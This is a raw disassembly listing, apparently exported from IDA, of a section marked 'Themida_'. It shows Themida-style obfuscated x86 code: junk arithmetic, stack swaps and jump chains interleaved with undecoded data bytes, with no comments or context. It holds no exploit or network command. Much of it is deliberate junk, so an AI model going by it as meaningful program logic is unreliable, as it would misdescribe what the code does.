loc_556A5D:				; CODE XREF: Themida_:0055242Dj
		push	ebx
		mov	ebx, 29F537FBh
		or	ebx, 586F7675h
		neg	ebx
		shr	ebx, 2
		xor	ebx, 3F0C5920h
		and	ebx, 73717E5Ch
		add	ebx, 0F5644DA2h
		add	edi, ebx
		pop	ebx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 799E2124h
		add	eax, ecx
		sub	eax, 799E2124h
		sub	eax, 707D1AD4h
		pop	ecx
		push	edx
		mov	edx, 2
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5507EB
; ---------------------------------------------------------------------------
		db 0D0h, 0E7h, 0F6h
		dd 0B13BE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556ABA:				; CODE XREF: Themida_:00559848j
		xor	cl, 0C6h
		mov	al, cl
		jmp	loc_557A59
; ---------------------------------------------------------------------------
		dd 80D6F180h, 0D1F699F1h, 0C180D9F6h, 0E9C8285Bh, 0FFFFCCD3h
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_556B98
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 79h
		dd 2108B139h, 0EC835AD3h, 24148904h, 3D46E9h, 24248B00h
		dd 0B60F66h, 7AB26866h,	24048966h, 16CFE9h, 5E08900h, 4
		dd 33BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_556B1D:				; CODE XREF: Themida_:005509CEj
		dec	eax
		xor	eax, 7E6E9A6Ch
		sub	ecx, eax
		pop	eax
		jmp	loc_55A56D
; ---------------------------------------------------------------------------


loc_556B2B:				; CODE XREF: Themida_:0055BE49j
		mov	edi, [esp]
		jmp	loc_54FEE2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 2C68304h, 8B243487h, 4D32424h, 0C8E99C24h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556B4B:				; CODE XREF: Themida_:00553B17j
		push	esi
		jmp	loc_550F2B
; ---------------------------------------------------------------------------


loc_556B51:				; CODE XREF: Themida_:00557610j
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 4
		jmp	loc_5541D7
; ---------------------------------------------------------------------------
		dd 242CD366h, 92A5E99Ch, 0FB01FFFFh, 241C335Fh,	33241C31h
		dd 248B241Ch, 240C8B24h, 0FFA2CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556B85:				; CODE XREF: Themida_:005551D0j
		push	esi
		jmp	loc_550BCA
; ---------------------------------------------------------------------------


loc_556B8B:				; CODE XREF: Themida_:005523EAj
		add	ebx, ebp
		sub	ebx, 3C97674Bh
		jmp	loc_556D23
; ---------------------------------------------------------------------------


loc_556B98:				; CODE XREF: Themida_:00556AE4j
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebx
		mov	bh, 0AFh
		shr	bh, 6
		xor	bh, 65h
		sub	bh, 5
		neg	bh
		sub	bh, 0FFh
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_556E8A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0B9510000h, 2, 51ADC381h, 20E96A6Fh,	81000015h
		dd 4C4h, 922DE900h, 11BFFFFFh, 0E9434C1Bh, 4B4Fh, 0BAE9535Ch
		dd 0FF000004h, 815A2434h, 4C4h,	3DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C06:				; CODE XREF: Themida_:0055AAA7j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_553895
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 52h
		dd 0A2B22BAh, 4EBB5312h, 0E951787Ah, 0FFFFBD98h, 4C481h
		dd 5B660000h, 0FFF2F6E9h, 0BE5651FFh, 33BD32A2h, 125EB850h
		dd 99E95D66h, 8FFFFFF9h, 0D2F72404h, 33241431h,	14312414h
		dd 91BDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C56:				; CODE XREF: Themida_:00550734j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55C10B
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 4EC8158h, 0E9000000h, 0FFFFF997h
dword_556C78	dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF918Bh, 15FFE29h
					; DATA XREF: Themida_:0054FCB8o
		dd 2B4E9F2h
		db 2 dup(0)
word_556C92	dw 8F64h		; DATA XREF: Themida_:0054FCF0o
		dd 9179E902h, 15EFFFFh,	2434FFC2h, 8124048Bh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5552EE
; ---------------------------------------------------------------------------


loc_556CBD:				; CODE XREF: Themida_:005500CEj
		pop	esp
		sub	[edi+24h], esi
		pop	esi
		jmp	loc_555FE7
; ---------------------------------------------------------------------------


loc_556CC7:				; CODE XREF: Themida_:005536ACj
		sub	esp, 4
		mov	[esp], ebp
		push	24A0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_556E2F
; ---------------------------------------------------------------------------


loc_556CE1:				; CODE XREF: Themida_:0055A25Ej
		mov	edx, [esp]
		jmp	loc_5560C7
; ---------------------------------------------------------------------------


loc_556CE9:				; CODE XREF: Themida_:00558BA0j
		add	edi, 32BD0CD4h
		jmp	loc_55B31A
; ---------------------------------------------------------------------------


loc_556CF4:				; CODE XREF: Themida_:00554C02j
		mov	esi, esp
		jmp	loc_550311
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C481h, 0E9550000h, 255Ah
; ---------------------------------------------------------------------------


loc_556D08:				; CODE XREF: Themida_:0055581Dj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_552DDF
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2, 0FFFA3AE9h, 0E0E950FFh
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556D23:				; CODE XREF: Themida_:00556B93j
		pop	ebp
		jmp	loc_55055C
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 5C241433h, 8904EC83h, 88BE2434h, 0E94F4713h,	0EA0h
		dd 25E8C781h, 0C78117ACh, 131E37A8h, 13C9E9h, 8BE80100h
		dd 0C481242Ch, 4, 453268h, 242C8900h, 252EDFBDh, 0FDED811Dh
		dd 680FB330h, 7863h, 0B9240C89h, 468F9522h, 2959CD31h
		dd 2434FFEBh, 4C4835Dh,	0EC81C301h, 4, 0B9240C89h, 4BFE68C0h
		dd 6A25EB81h, 0CB013E53h, 6A25C381h, 34FF3E53h,	0DC33E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55C15B
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 80h
		dd 52573F56h, 5340A8BAh, 0BABF5706h, 4F396935h,	640BCF81h
		dd 0E7D13C67h, 1BEDE9h,	4BD3F700h, 8108E3C1h, 5A111EEBh
		dd 5BDA0937h, 0FF9290E9h, 5D801FFh, 45625B4Bh, 0FFC30FE9h
		dd 4EBC1FFh, 288EE9h
		db 0
; ---------------------------------------------------------------------------


loc_556E0D:				; CODE XREF: Themida_:0055237Dj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_556E17:				; CODE XREF: Themida_:00553A34j
		push	ebx
		add	dword ptr [esp], 2AF8686Fh
		pop	eax
		push	esi
		mov	esi, 3E705A86h
		shl	esi, 8
		dec	esi
		jmp	loc_5511D7
; ---------------------------------------------------------------------------


loc_556E2F:				; CODE XREF: Themida_:00556CDCj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_55AB9F
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5EF02900h, 0D8E4E950h,	0EF81FFFFh, 0E51B4A66h
		dd 895FF931h, 0F1E1E9CFh, 0E952FFFFh, 898h, 0D46BE95Dh
		dd 348BFFFFh, 4C48124h,	0E9000000h, 0FFFFB25Fh,	4C481h
		dd 0C870000h, 0B335E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E8A:				; CODE XREF: Themida_:00556BBEj
		mov	cl, 71h
		jmp	loc_55983B
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 89h
		dd 892CEAD3h, 8BE95AD5h, 0E9FFFFC7h, 0FFFF8F6Fh, 52240C89h
		dd 0E7B5D5B6h, 2845ED80h, 4EC81F5h, 89000000h, 9E92414h
		dd 30000037h, 92E3E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556EC6:				; CODE XREF: Themida_:0055937Bj
		push	1D8Ah
		mov	[esp], esi
		mov	esi, 250829C8h
		jmp	loc_5533C9
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 412968h, 242C8900h, 4BDh, 5DE92900h
		dd 8B240C87h, 0EAE92424h, 83000036h, 3C8704EFh,	0C895C24h
		dd 0F9CBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556F0A:				; CODE XREF: Themida_:0055A828j
		push	ebx
		push	eax
		mov	ah, 0FAh
		add	ah, 4Ch
		mov	bl, ah
		pop	eax
		dec	bl
		add	bl, 1Fh
		or	ch, bl
		pop	ebx
		jmp	loc_5575EF
; ---------------------------------------------------------------------------


loc_556F21:				; CODE XREF: Themida_:00559B43j
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	1B84h
		jmp	loc_559B48
; ---------------------------------------------------------------------------
dword_556F34	dd 0E9028F66h, 0FFFF8ED7h, 0E5D20605h, 115EE942h, 815E0000h
					; DATA XREF: Themida_:0054FD08o
		dd 4EAh, 24148700h, 0E924248Bh,	0FFFFEEB6h, 4CEE815Eh
		dd 21D92D0Ch, 0C2815EF2h, 0FFFFFFFFh, 0DF66851h, 66E95551h
		dd 89FFFFB5h, 815356F3h, 7027242Ch, 815E2062h, 627027C6h
		dd 428F5620h, 24348B30h, 4C481h, 34FF0000h, 2AE95B24h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556F9B:				; CODE XREF: Themida_:00550855j
		pop	esp
		shl	edi, 7
		add	edi, 12B66EFAh
		jmp	loc_5577D8
; ---------------------------------------------------------------------------


loc_556FAA:				; CODE XREF: Themida_:0055211Dj
		sub	edi, 1D3423E3h
		sub	edi, 3D0D60D7h
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4000h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_551152
; ---------------------------------------------------------------------------
		dd 4BAh, 0E9D00100h, 3B2Fh, 43B468h, 24048900h,	2434FF54h
		dd 0E6895658h, 4C681h, 4DE90000h
		db 18h,	2 dup(0)
byte_556FF3	db 50h			; DATA XREF: Themida_:0054FC3Co
		dd 0BFE9E089h, 52FFFF8Fh, 0C281E289h, 4, 8704EA83h, 895C2414h
		dd 0F0E9240Ch, 5300001Eh, 0DC5C25BBh, 3CBA5278h, 112C730h
		dd 0EB815AD3h, 0FFFFFFFFh, 3B97EB81h, 0C3812E47h, 0A2A3AF39h
		dd 17AFEF81h, 0DF012504h, 17AFC781h, 835B2504h,	3C3304C7h
		dd 243C3124h, 0E9243C33h, 0FFFFFAA9h
; ---------------------------------------------------------------------------


loc_557054:				; CODE XREF: Themida_:0055BBC4j
		pop	eax
		add	esp, 4
		sub	eax, 95A4CBCh
		jmp	loc_553DBB
; ---------------------------------------------------------------------------
		db 0BEh, 57h, 17h
		dd 0D6F750CCh, 15DBE946h, 50550000h, 351EE9h
		db 0
; ---------------------------------------------------------------------------


loc_557079:				; CODE XREF: Themida_:005568F1j
		mov	[esp], edx
		push	ebp
		push	546A06B9h
		pop	ebp
		add	ebp, 601145h
		mov	edx, ebp
		pop	ebp
		sub	ebx, 551E123Fh
		sub	ebx, edx
		add	ebx, 551E123Fh
		pop	edx
		mov	eax, ebx
		pop	ebx
		add	ecx, eax
		jmp	loc_558078
; ---------------------------------------------------------------------------
		db 2Dh,	62h, 36h
		dd 0F80120D7h, 0FFD368E9h, 52E389FFh, 0FFBEAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5570B9:				; CODE XREF: Themida_:0055AB31j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		shr	eax, 10h
		xor	eax, ecx
		push	32A9h
		jmp	loc_559B40
; ---------------------------------------------------------------------------


loc_5570D6:				; CODE XREF: Themida_:0055802Bj
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_559527
; ---------------------------------------------------------------------------
		dd 5182B951h, 0FE90F5Ah, 0F6FFFFC2h, 8D23E9D7h,	0C483FFFFh
		dd 52516602h, 0F18826B6h, 0FFD36CE9h, 2E8C1FFh,	2347AD0Dh
		dd 1C0833Fh, 0F32DE8D1h, 0E91F9FABh, 0FFFF9127h, 0B2529EB5h
		dd 0A9CA8036h, 0FFB8D1E9h, 0C80158FFh, 4EC8359h, 68240C89h
		dd 5D88h, 52241C89h, 186E9E68h,	6BE95A10h, 100000Ch, 0DC29E9E8h
		dd 0D788FFFFh, 5585450h, 4, 4BB53h, 95E90000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55716F:				; CODE XREF: Themida_:00556752j
		inc	ebp
		add	ebp, 4191F819h
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		push	5EB0h
		mov	[esp], ebx
		jmp	loc_5598AA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E3E92424h, 1000001h, 0C8015AD0h, 4EF0BA52h,	0D0290B09h
		dd 2434FF5Ah, 0FFE3E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5571AD:				; CODE XREF: Themida_:0055A83Ej
		and	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 56202082h
		xor	ebp, ecx
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_55C180
		push	edx
		push	1154h
		mov	[esp], esi
		mov	esi, 28h
		mov	edx, esi
		pop	esi
		add	edx, 3B4F531Dh
		add	edx, edi
		push	6F64h
		mov	[esp], eax
		mov	eax, 704B26BFh
		shr	eax, 1
		add	eax, 488A7DF8h
		sub	eax, 4560BE3Ah
		sub	edx, eax
		pop	eax
		jmp	loc_55AB55
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0BDh
		dd 4, 875DEA01h, 2C5C2414h, 28E804BBh, 0E8B151F0h, 26E9F804h
		dd 5D000026h, 81240C8Bh, 4C4h, 7DE95700h, 55FFFF9Eh, 0AB0F3FBDh
		dd 6CBB5330h, 816AFD75h, 0CF7580F3h, 3BCB8144h,	0F7211F3Bh
		dd 0A1CB81DBh, 81760A6Ah, 7F3399EBh, 4EC836Eh, 0B8240489h
		dd 62F989F7h, 0FFADB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55726D:				; CODE XREF: Themida_:00553214j
		push	68EFh
		mov	[esp], ecx
		mov	ecx, 4183102Dh
		sub	ecx, 0D0EDFA61h
		jmp	loc_55088D
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 0FFC3A8E9h, 2424D3FFh, 0AF5FE99Ch, 205FFFFh,	0E9000000h
		dd 0FFFF8DD4h, 66DABD55h, 0EDBA5AF3h, 0E92B3059h, 0FFFF975Bh
		dd 0BFF8E955h, 0CA31FFFFh, 0CA31D131h, 506ABD55h, 88E93B2Fh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572C7:				; CODE XREF: Themida_:0055288Bj
		sub	eax, 6EFA10F2h
		xor	eax, 29A2E01Dh
		jmp	loc_55B939
; ---------------------------------------------------------------------------


loc_5572D6:				; CODE XREF: Themida_:00559108j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_551F30
; ---------------------------------------------------------------------------


loc_5572E4:				; CODE XREF: Themida_:0055B996j
		pop	ecx
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_5572EA:				; CODE XREF: Themida_:00556434j
		add	ebx, 4
		push	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_551DA0
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFFFA19h, 0ED81FD01h, 36DC6873h, 0E9243C8Bh
		dd 339Fh, 35F3814Bh, 29C274F0h,	2B32E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557322:				; CODE XREF: Themida_:0055412Ej
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 446A582Dh
		sub	eax, 23955CEFh
		jmp	loc_553C14
; ---------------------------------------------------------------------------


loc_55733B:				; CODE XREF: Themida_:00559CD8j
		pop	edx
		jmp	loc_559BD8
; ---------------------------------------------------------------------------


loc_557341:				; CODE XREF: Themida_:005546BFj
		add	esp, 4
		jmp	loc_5505C1
; ---------------------------------------------------------------------------


loc_55734C:				; CODE XREF: Themida_:00551857j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		push	ecx
		push	esi
		push	240A4789h
		pop	esi
		jmp	loc_553712
; ---------------------------------------------------------------------------


loc_557368:				; CODE XREF: Themida_:005585C7j
		inc	esi
		push	edx
		mov	edx, 40DB061Eh
		sub	edx, 66045ED0h
		jmp	loc_555017
; ---------------------------------------------------------------------------
		dw 24D2h
		dd 90E99C24h, 0BBFFFF8Ah, 7840EDEh, 3FD1F381h, 0F3811E80h
		dd 5B0753Dh, 5952C281h,	0E4E9433Bh
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55739F:				; CODE XREF: Themida_:00555FE2j
		push	edi
		push	esp
		jmp	loc_557B9D
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF8E2Eh, 1106B850h, 0F7483886h, 31F831D0h, 4FF831C7h
		dd 7D0E997h, 0F8000000h, 0EF3BE95Bh, 0EBC0FFFFh, 80DBF602h
		dd 0DD0039C3h, 53C8045Bh, 0F82861B7h, 0CE87E95Bh, 0E883FFFFh
		dd 24048704h, 0BA43E95Ch, 0D301FFFFh, 0FFDE94E9h, 0C895CFFh
		dd 81E18924h, 4C1h, 2E98300h, 0FFB331E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557409:				; CODE XREF: Themida_:0055B7DCj
		add	eax, 4
		jmp	loc_5528C1
; ---------------------------------------------------------------------------


loc_557413:				; CODE XREF: Themida_:00557D60j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551AD4
; ---------------------------------------------------------------------------
		dd 6624248Bh, 6824048Bh, 12FDh,	68242C89h, 6EF7h, 83242489h
		dd 0E9042404h, 2B9Dh, 0D0F7D8F7h, 0FFFE67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557449:				; CODE XREF: Themida_:00555D77j
		push	esi
		mov	esi, 1E084FF0h
		or	esi, 135E5C94h
		dec	esi
		jmp	loc_5585C6
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF9ECFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557461:				; CODE XREF: Themida_:005512ABj
		xor	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_556940
		push	58C7h
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_554895
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0FFh
		dd 56FFFFFFh, 587DBD55h, 0C1E9613Ch, 59FFFFBEh,	3493E9h
		db 0
; ---------------------------------------------------------------------------


loc_5574C1:				; CODE XREF: Themida_:005590CAj
		xor	ebp, [esp]
		pop	esp
		push	ebp
		push	27B6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_55ACF1
; ---------------------------------------------------------------------------


loc_5574E0:				; CODE XREF: Themida_:00556058j
		push	ecx
		jmp	loc_552F5F
; ---------------------------------------------------------------------------


loc_5574E6:				; CODE XREF: Themida_:00554615j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	edx
		jmp	loc_55B0CD
; ---------------------------------------------------------------------------


loc_5574F6:				; CODE XREF: Themida_:00555891j
		push	579Ah
		jmp	loc_5566CD
; ---------------------------------------------------------------------------
dword_557500	dd 0B95152ADh, 63FE4C5Ah, 8320E8BAh, 908BE9E6h,	43BBFFFFh
					; DATA XREF: Themida_:0054FC74o
		dd 8965C869h, 0EA315BDAh, 29B4E9h
		db 0
byte_557521	db 81h,	0ECh, 4		; DATA XREF: Themida_:0054FD2Co
		dd 89000000h, 0B9512404h, 771F6566h, 4244C01h, 24048B59h
		dd 0FFF018E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55753D:				; CODE XREF: Themida_:0055A87Fj
		push	edx
		mov	edx, 4ED1270Fh
		or	ebp, edx
		jmp	loc_552D76
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 82D0B01h, 4EC81h, 34890000h,	4D5E5D24h, 4FDAE581h, 0B8504D6Ah
		dd 32A27EEAh, 0FFBF52E9h, 0AD7BFFFh, 0E78109BFh, 78A47E45h
		dd 2414F757h, 0EC83475Fh, 4553E904h, 0C6810000h, 4, 0FF8D68E9h
		dd 5FFD01FFh, 31242C33h, 2C33242Ch, 0EC815C24h,	4, 68241489h
		dd 1A8Eh, 52242489h, 0FFD74DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5575B5:				; CODE XREF: Themida_:00559672j
		mov	eax, 1FAC74F8h
		or	eax, 67B636EAh
		jmp	loc_5563C9
; ---------------------------------------------------------------------------


loc_5575C4:				; CODE XREF: Themida_:00554E4Aj
		sub	ch, 34h
		sub	al, ch
		pop	ecx
		jmp	loc_554A98
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 242C335Ch, 33242C31h
		dd 4CE9242Ch
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5575EF:				; CODE XREF: Themida_:00556F1Cj
		sub	ch, 25h
		sub	al, ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	12D5h
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_556B51
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 71h
		dd 89FFFFA7h, 0E589242Ch, 4BF57h, 0FD010000h, 4EC815Fh
		dd 89000000h, 4682434h,	5E000000h, 28C6BA52h, 0D52910B3h
		dd 0FF9E44E9h, 240C8BFFh, 4C481h, 0E8210000h, 52242C8Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 0C00B5C24h, 3F2E840Fh
		dd 68560000h, 925h, 0FFCBC3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557679:				; CODE XREF: Themida_:00558E7Bj
		push	ebx
		mov	ebx, 7D5922E9h
		jmp	loc_5568EC
; ---------------------------------------------------------------------------
		dd 0E9243C87h, 0FFFFFD1Ah, 5D2434FFh, 0E904C483h, 0FFFFE22Ch
		dd 0E9243C87h, 0FFFFFAEFh, 9054E955h
		db 2 dup(0FFh)
word_5576A6	dw 8766h		; DATA XREF: Themida_:0054FCF8o
		dd 5566242Ch, 0FFC8DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5576B1:				; CODE XREF: Themida_:00550E88j
		add	ebx, 5D372394h
		jmp	loc_5526E8
; ---------------------------------------------------------------------------


loc_5576BC:				; CODE XREF: Themida_:00554AB2j
					; Themida_:0055A03Aj
		push	0F89h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 10120Eh
		xor	[esp+4], ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_559040
; ---------------------------------------------------------------------------
		db 1
		dd 72E95FFBh, 54000024h, 0EBECE95Dh, 0E953FFFFh, 0FFFFAFD0h
; ---------------------------------------------------------------------------


loc_5576EC:				; CODE XREF: Themida_:00557AE6j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	esi
		jmp	loc_550B45
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFAC92h, 7500E6BAh, 0F2B95119h, 8174AA72h, 650FD6E9h
		dd 0DC0BE917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557716:				; CODE XREF: Themida_:00554D6Cj
		add	esp, 4
		add	ebx, 7832610Bh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55213D
; ---------------------------------------------------------------------------
		dw 2959h
		dd 59E95EF7h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557733:				; CODE XREF: Themida_:00553690j
		mov	ecx, 4DE8C48Dh
		add	ebx, ecx
		pop	ecx
		push	ebx
		xor	dword ptr [esp], 49071910h
		pop	edi
		xor	edi, 49071910h
		pop	ebx
		and	ecx, edi
		mov	edi, [esp]
		push	esi
		jmp	loc_557D25
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 0F89DE95Dh, 0B05FFFFh, 35174144h, 67153ED9h,	0FDAEBD55h
		dd 0E83185F7h, 58C6015Dh, 31243433h, 34332434h,	24248B24h
		dd 582434FFh, 144068h, 1E6BE900h, 0DD890000h, 48A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_557795:				; CODE XREF: Themida_:0055C079j
		push	esi
		push	6863101Ch
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54FE2F
; ---------------------------------------------------------------------------
		dd 827C19BFh, 63CE914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5577B6:				; CODE XREF: Themida_:00558B06j
		pop	edi
		push	eax
		jmp	loc_551BA5
; ---------------------------------------------------------------------------


loc_5577BD:				; CODE XREF: Themida_:0055BC03j
		mov	ah, cl
		pop	cx
		add	bl, ah
		pop	ax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 5Eh
		shr	dl, 2
		jmp	loc_552908
; ---------------------------------------------------------------------------


loc_5577D8:				; CODE XREF: Themida_:00556FA5j
		push	edi
		inc	dword ptr [esp]
		pop	edi
		neg	edi
		add	edi, 2C365902h
		add	edi, 0C23315FDh
		add	ebp, edi
		pop	edi
		add	ebp, 2
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55649F
; ---------------------------------------------------------------------------
aH1S		db '╩>H©)1ы[Иу<',0
		align 4


loc_55780C:				; CODE XREF: Themida_:0055828Aj
		pop	esp
		push	1A13h
		mov	[esp], ebx
		push	37D9h
		mov	[esp], ecx
		push	edx
		push	3833116Fh
		pop	edx
		jmp	loc_55867E
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 63h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55782F:				; CODE XREF: Themida_:00559C8Aj
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 5EC91BBBh
		add	edx, 10423923h
		mov	edi, edx
		jmp	loc_559C1E
; ---------------------------------------------------------------------------
		dd 2E36BE56h, 0EE812466h, 0BF16F4Fh, 0C6A2F681h, 0F0294E7Bh
		dd 8124348Bh, 4C4h, 0BB535200h,	1E350773h, 2051C381h, 0F3813E08h
		dd 426506E8h, 815BDA89h, 9A10F8F2h, 81DAF754h, 216E7CCAh
		dd 0F08E93Eh, 0D3880000h, 0FFA96BE9h, 22BB53FFh, 213DA842h
		dd 0C5815BDDh, 65CF0610h, 0D3C5814Dh, 17588B7h,	0C6835DEEh
		dd 24343304h, 0E9243431h, 0FFFFA78Bh, 0B75F69BEh, 0E9F78967h
		dd 0FFFFEB71h, 0E9E18951h, 0FFFFB38Eh
; ---------------------------------------------------------------------------


loc_5578D0:				; CODE XREF: Themida_:005583B8j
		mov	edx, edi
		pop	edi
		xor	esi, edx
		jmp	loc_553E09
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24148924h, 721947BAh, 0D3F28150h, 8120167Bh,	21F7AAC2h
		dd 4BEFBB02h, 0EBC1152Ah, 0E1F38108h, 0C101ED2Dh, 0BE5608E3h
		dd 757E0FC3h, 0CEE9F331h, 50FFFF9Fh, 0FFB8ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557915:				; CODE XREF: Themida_:00550B8Ej
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_5506D2
; ---------------------------------------------------------------------------


loc_557923:				; CODE XREF: Themida_:005526F4j
		pop	ecx
		jmp	loc_5550F6
; ---------------------------------------------------------------------------


loc_557929:				; CODE XREF: Themida_:00550FABj
		mov	eax, 0C1C8A157h
		add	eax, ecx
		pop	ecx
		jmp	loc_5590A9
; ---------------------------------------------------------------------------


loc_557936:				; CODE XREF: Themida_:00550C05j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5597D0
; ---------------------------------------------------------------------------
		dd 53E9EB09h, 8B000010h, 0C8852424h, 38C0E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55795E:				; CODE XREF: Themida_:0055A7B7j
		pop	esi
